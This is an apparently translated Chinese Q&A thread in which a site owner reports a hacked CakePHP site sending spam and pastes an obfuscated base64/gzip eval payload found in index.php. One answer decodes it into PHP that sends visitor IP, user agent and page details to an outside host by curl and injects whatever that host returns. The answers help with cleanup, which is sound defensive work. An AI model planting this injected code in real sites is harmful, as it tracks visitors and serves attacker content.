网站遭到黑客攻击,每天从我的网站发送超过 400 封电子邮件

网站遭到黑客攻击,每天从我的网站发送超过 400 封电子邮件

可能重复:
我的服务器被黑了 紧急求助

所以基本上我的网站被黑客入侵了,一个脚本每天发送超过 400 封电子邮件。我的服务器上有 100 多个文件,有没有快速的方法可以检查它到底是从哪个文件发送的?我不知道脚本究竟什么时候发送邮件,所以我不能确定它是从哪个文件调用的。有没有简单的方法可以找出它是从哪个文件发送的?

 eval(gzuncompress(base64_decode('eF6Nkw9rozAYxr+Kk6EGyuh2f+CQcFdW297h7BZ17ChDokbNNZpi4na70u9+0WvXdnfFA8Hk5fc8Sd4noZl1RoUg0joXiMj6BYB1zniMmbYt2Ns/vFSjUJB6lJNKQiFryRl/JrV1HvkOunfQwpwFwW0Uqlk0mjpeYD4CpZHXTc1muEoZgV7ouruSS6sl1HWbZpal3NRnHSwwMHPOc0ZMAKGWYSYIMIx/ci+44LwfizFNm36sFFU/xFekxv1YUtS8/I8TxLTK+ymBM1zTfi7m8gACa9XfbcKvOSHnZh440Wg8Riojxcq6IZphaG/BLtDZ3A/2GFgf5hdjQT6+j1KS8JRYJp6hYTLmT+7VZJmW9z/iqw8lfvgm3dJ7iv1Pv9LpZOi+84bfH+6aZFo8m0C7MD/TFTS1C2VJqs7m1EYVazTqoLi7gceSfQc6LOUlplWFS3LK+vBorSJrGFthWZzeyl3o+EEUoq9bRVKQZNniu65NnWBhMs6Xf1/8RA0jWtH2nb12D9ibjUrniNTOVJ/bZwLWnUY585U8ZgbXIXLnt0GEnCBEXoBGnj9x0OASdI9VNEzCL52a/CTJsRbY3Yp/qMXwEUJ9rreZ7iu6ptskKbi2K9qbzixhXJC3bpvNbzILaXQ='))); ?> 

在 index.php 文件中找到

我的网站正在使用 cakePHP,所以它可以默认存在吗?

答案1

下面,我给大家解析一下代码:

if(!isset($sRetry)){
    global $sRetry;
    $sRetry=1;
    $sUserAgent=strtolower($_SERVER['HTTP_USER_AGENT']);
    $stCurlHandle=NULL;
    $stCurlLink="";

    if((strstr($sUserAgent,'google')== false)&&(strstr($sUserAgent,'yahoo')== false)&&(strstr($sUserAgent,'baidu')== false)&&(strstr($sUserAgent,'msn')== false)&&(strstr($sUserAgent,'opera')== false)&&(strstr($sUserAgent,'chrome')== false)&&(strstr($sUserAgent,'bing')== false)&&(strstr($sUserAgent,'safari')== false)&&(strstr($sUserAgent,'bot')== false)){if(isset($_SERVER['REMOTE_ADDR'])== true && isset($_SERVER['HTTP_HOST'])== true){
        $stCurlLink=base64_decode('aHR0cDovL2FkdmVjb25maXJtLmNvbS9zdGF0L3N0YXQucGhw') .'ip=' .urlencode($_SERVER['REMOTE_ADDR']) .'&useragent=' .urlencode($sUserAgent) .'&domainname=' .urlencode($_SERVER['HTTP_HOST']) .'&fullpath=' .urlencode($_SERVER['REQUEST_URI']) .'&check=' .isset($_GET['look']);$stCurlHandle=curl_init($stCurlLink);}}if($stCurlHandle !== NULL){curl_setopt($stCurlHandle,CURLOPT_RETURNTRANSFER,1);$sResult=@curl_exec($stCurlHandle);if($sResult[0]=="O"){$sResult[0]=" ";echo $sResult;}curl_close($stCurlHandle);
        }
}

$stCurlLink 最终成为http://adveconfirm.com/stat/stat.php。我建议从页面中删除代码并修补您发现的任何漏洞。查看您的日志以查看谁访问了哪些页面以及发送了哪些数据。

答案2

请务必阅读这个话题。最好的办法是从备份中恢复。此外,当您这样做时,请尝试找出它们是如何进入的。您的代码可能有缺陷,因此您需要手动评估每个文件以找出您的代码不安全的地方。请参阅开放Web服务计划了解保护 Web 应用程序安全的最佳实践。

答案3

您也可以使用 FTP 下载所有文件,然后使用以下命令打开它们记事本++并在所有页面中搜索“mail(”。这应该会告诉您邮件脚本在站点中的什么位置。另外,还要注意黑客是否在您的站点中添加了病毒。

相关内容